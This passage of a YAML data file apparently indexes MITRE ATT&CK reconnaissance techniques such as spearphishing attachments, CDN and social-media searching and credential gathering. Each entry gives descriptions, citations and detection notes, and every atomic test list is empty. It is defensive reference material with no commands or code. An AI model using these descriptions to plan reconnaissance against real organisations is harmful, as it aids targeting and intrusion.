        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1598.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Robert Simmons, @MalwareUtkonos
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc
      type: attack-pattern
      created: '2020-10-02T17:08:57.386Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1598.002
        url: https://attack.mitre.org/techniques/T1598/002
      - source_name: Sophos Attachment
        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
          links – when phishers bring along their own web pages. Retrieved October
          20, 2020.'
      - source_name: GitHub Phishery
        url: https://github.com/ryhanson/phishery
        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
          23, 2020.
      - source_name: Microsoft Anti Spoofing
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
      - source_name: ACSC Email Spoofing
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Spearphishing Attachment
      description: |-
        Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: 'Monitor for suspicious email activity, such as numerous
        accounts receiving messages from a single unusual/unknown sender. Filtering
        based on DKIM+SPF or header analysis can help detect when the email sender
        is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1596.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75
      type: attack-pattern
      created: '2020-10-02T16:59:56.648Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1596.004
        url: https://attack.mitre.org/techniques/T1596/004
      - source_name: DigitalShadows CDN
        url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/
        description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery
          Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What
          You Can Do About It. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: CDNs
      description: |-
        Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.

        Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1591:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23
      type: attack-pattern
      created: '2020-10-02T16:27:02.339Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1591
        url: https://attack.mitre.org/techniques/T1591
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      - source_name: SEC EDGAR Search
        url: https://www.sec.gov/edgar/search-and-access
        description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August
          27, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Gather Victim Org Information
      description: |-
        Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1590:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109
      type: attack-pattern
      created: '2020-10-02T15:45:17.628Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1590
        url: https://attack.mitre.org/techniques/T1590
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Gather Victim Network Information
      description: |-
        Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1593:
    technique:
      modified: '2022-10-18T22:48:33.286Z'
      name: Search Open Websites/Domains
      description: |-
        Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

        Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      type: attack-pattern
      id: attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365
      created: '2020-10-02T16:48:04.509Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1593
        external_id: T1593
      - source_name: SecurityTrails Google Hacking
        description: Borges, E. (2019, March 5). Exploring Google Hacking Techniques.
          Retrieved October 20, 2020.
        url: https://securitytrails.com/blog/google-hacking-techniques
      - source_name: Cyware Social Media
        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
          Media To Break Into Your Company. Retrieved October 20, 2020.
        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
      - source_name: ExploitDB GoogleHacking
        description: Offensive Security. (n.d.). Google Hacking Database. Retrieved
          October 23, 2020.
        url: https://www.exploit-db.com/google-hacking-database
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1597:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4
      type: attack-pattern
      created: '2020-10-02T17:01:42.558Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1597
        url: https://attack.mitre.org/techniques/T1597
      - source_name: D3Secutrity CTI Feeds
        url: https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/
        description: Banerd, W. (2019, April 30). 10 of the Best Open Source Threat
          Intelligence Feeds. Retrieved October 20, 2020.
      - source_name: ZDNET Selling Data
        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
          73 million user records on the dark web. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Search Closed Sources
      description: |-
        Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

        Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1592.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d
      type: attack-pattern
      created: '2020-10-02T16:46:42.537Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1592.003
        url: https://attack.mitre.org/techniques/T1592/003
      - source_name: ArsTechnica Intel
        url: https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/
        description: Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel
          source code and proprietary data dumped online. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Firmware
      description: |-
        Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1592.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884
      type: attack-pattern
      created: '2020-10-02T16:42:17.482Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1592.002
        url: https://attack.mitre.org/techniques/T1592/002
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Software
      description: |-
        Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1593.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3
      type: attack-pattern
      created: '2020-10-02T16:49:31.262Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1593.001
        url: https://attack.mitre.org/techniques/T1593/001
      - source_name: Cyware Social Media
        url: https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e
        description: Cyware Hacker News. (2019, October 2). How Hackers Exploit Social
          Media To Break Into Your Company. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Social Media
      description: |-
        Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.

        Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1589.001:
    technique:
      modified: '2023-04-14T23:29:10.396Z'
      name: Credentials
      description: "Adversaries may gather credentials that can be used during targeting.
        Account credentials gathered by adversaries may be those directly associated
        with the target victim organization or attempt to take advantage of the tendency
        for users to use the same passwords across personal and business accounts.\n\nAdversaries
        may gather credentials from potential victims in various ways, such as direct
        elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).
        Adversaries may also compromise sites then add malicious content designed
        to collect website authentication cookies from visitors.(Citation: ATT ScanBox)
        Credential information may also be exposed to adversaries via leaks to online
        or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002),
        breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation:
        Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation:
        GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries
        may also purchase credentials from dark web or other black-markets. Finally,
        where multi-factor authentication (MFA) based on out-of-band communications
        is in use, adversaries may compromise a service provider to gain access to
        MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nGathering
        this information may reveal opportunities for other forms of reconnaissance
        (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
        or [Phishing for Information](https://attack.mitre.org/techniques/T1598)),
        establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)),
        and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)
        or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_contributors:
      - Vinayak Wadhwa, Lucideus
      - Lee Christensen, SpecterOps
      - Toby Kohlenberg
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.1'
      type: attack-pattern
      id: attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161
      created: '2020-10-02T14:55:43.815Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1589/001
        external_id: T1589.001
      - source_name: ATT ScanBox
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
      - source_name: Detectify Slack Tokens
        description: Detectify. (2016, April 28). Slack bot token leakage exposing
          business critical information. Retrieved October 19, 2020.
        url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/
      - source_name: GitHub truffleHog
        description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October
          19, 2020.
        url: https://github.com/dxa4481/truffleHog
      - source_name: Register Uber
        description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub
          into court to find who hacked database of 50,000 drivers. Retrieved October
          19, 2020.
        url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/
      - source_name: GitHub Gitrob
        description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open
          Source in OSINT. Retrieved October 19, 2020.'
        url: https://github.com/michenriksen/gitrob
      - source_name: CNET Leaks
        description: Ng, A. (2019, January 17). Massive breach leaks 773 million email
          addresses, 21 million passwords. Retrieved October 20, 2020.
        url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/
      - source_name: Okta Scatter Swine 2022
        description: 'Okta. (2022, August 25). Detecting Scatter Swine: Insights into
          a Relentless Phishing Campaign. Retrieved February 24, 2023.'
        url: https://sec.okta.com/scatterswine
      - source_name: Forbes GitHub Creds
        description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud
          Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved
          October 19, 2020.
        url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196
      - source_name: Register Deloitte
        description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck:
          Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved
          October 19, 2020.'
        url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1595.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jan Petrov, Citi
      - Elvis Veliz, Citi
      - Richard Julian, Citi
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
